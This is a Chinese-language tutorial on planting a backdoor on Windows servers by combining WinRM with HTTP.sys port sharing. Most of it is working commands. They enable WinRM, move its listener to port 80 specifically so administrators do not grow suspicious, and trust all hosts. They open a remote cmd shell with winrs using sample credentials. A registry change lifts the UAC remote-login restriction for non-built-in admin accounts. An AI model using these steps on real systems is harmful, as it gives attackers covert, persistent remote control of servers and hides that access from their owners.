利用http.sys端口复用实现后门
原理
这个后门的基本原理是用Windows
的远程管理管理服务WinRM
配合http.sys
端口复用的特性实现正向连接的后门
http.sys
简介1
HTTP.sys是仅在Windows上运行的ASP.NET Core的web服务器。HTTP.sys是Kestrel服务器的替代品,它提供了Kestrel没有提供的一些功能。
http.sys
支持的系统1
21. Windows 7 or later
2. Windows Server 2008 R2 or later
HTTP.sys
支持以下特性:1
2
3
4
5
6
71. Windows Authentication
2. Port sharing
3. HTTPS with SNI
4. HTTP/2 over TLS (Windows 10 or later)
5. Direct file transmission
6. Response caching
7. WebSockets (Windows 8 or later)
其中Port sharing
就是我们要利用http.sys
的特性之一端口复用,所有基于HTTP.sys
驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可,使用netsh http show servicestate
命令可以查看所有在HTTP.sys
上注册过的url前缀。
开启WinRM
服务
Windows Server 2012
及以上默认是开启WinRM
服务的Windows Server 2008 R2
需要winrm quickconfig -q
来启动WinRM
服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的

添加80端口Listener
Windows 2012
及以上就只需要执行一条命令就可以实现:winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

查看Listener

还有要注意一点就是:Windows Server 2008 R2
是默认不开启WinRM
服务的,但是我们启动了之后就会监听5985
端口,如图

这就会让管理员起疑心,所以我们就要修改一下WinRM
的端口,通过下面这条命令把WinRM
的端空改为80端口:winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

本地连接配置
本地配置执行以下两条命令即可,执行以下两条命令即可。
- 开启接
WinRM
服务:winrm quickconfig -q
- 设置信任连接的主机:
winrm set winrm/config/Client @{TrustedHosts="*"}
然后我们就可以使用winrs
命令连接远程WinRM
服务执行命令即可1
winrs -r:http://192.168.141.148 -u:administrator -p:qiyou whoami

返回交互式shell1
winrs -r:http://192.168.141.148 -u:administrator -p:qiyou cmd

UAC限制
经过测试Windows Server 2012
的WinRM
服务受UAC
限制,administrators
组除了administrator
能登陆之外,其它用户是登陆不了的,但是Windows Server 2008
不受UAC
限制,Windows Server 2012
的非administrator
用户如果直接登陆就会出现如下情况

需要修改以下注册表,PS:修改之后不需要重启1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改之后就可以成功登陆了
